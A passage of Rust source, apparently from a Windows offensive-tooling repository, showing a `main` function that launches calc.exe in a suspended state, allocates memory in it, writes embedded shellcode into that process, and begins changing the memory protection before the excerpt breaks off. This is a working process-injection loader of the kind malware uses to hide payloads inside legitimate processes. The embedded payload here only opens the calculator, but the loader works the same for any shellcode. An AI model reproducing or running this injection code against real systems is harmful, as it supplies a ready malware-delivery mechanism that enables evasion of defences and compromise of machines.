Function main

create_process/src/main.rs:24–227

()

#[cfg(target_os = "windows")]
fn main() {
    let shellcode = include_bytes!("../../w64-exec-calc-shellcode-func.bin");
    let shellcode_size = shellcode.len();
    let program = b"C:\\Windows\\System32\\calc.exe\0";

    #[repr(C)]
    struct Peb {
        reserved: [c_char; 0x10],
        image_base_address: *mut c_void,
    }

    unsafe {
        let mut process_info: PROCESS_INFORMATION = zeroed();

        let mut startup_info: STARTUPINFOA = zeroed();
        startup_info.dwFlags = STARTF_USESTDHANDLES | CREATE_SUSPENDED;
        startup_info.wShowWindow = 1;

        let res = CreateProcessA(
            program.as_ptr(),
            null_mut(),
            null(),
            null(),
            TRUE,
            CREATE_SUSPENDED,
            null(),
            null(),
            addr_of!(startup_info),
            addr_of_mut!(process_info),
        );
        if res == FALSE {
            panic!("[-]CreateProcessA failed: {}!", GetLastError());
        }

        let addr = VirtualAllocEx(
            process_info.hProcess,
            null(),
            shellcode_size,
            MEM_COMMIT | MEM_RESERVE,
            PAGE_READWRITE,
        );
        if addr.is_null() {
            panic!("[-]VirtualAllocEx failed: {}!", GetLastError());
        }

        let res = WriteProcessMemory(
            process_info.hProcess,
            addr,
            shellcode.as_ptr().cast(),
            shellcode_size,
            null_mut(),
        );
        if res == FALSE {
            panic!("[-]WriteProcessMemory failed: {}!", GetLastError());
        }

        let mut old = PAGE_READWRITE;
        let res = VirtualProtectEx(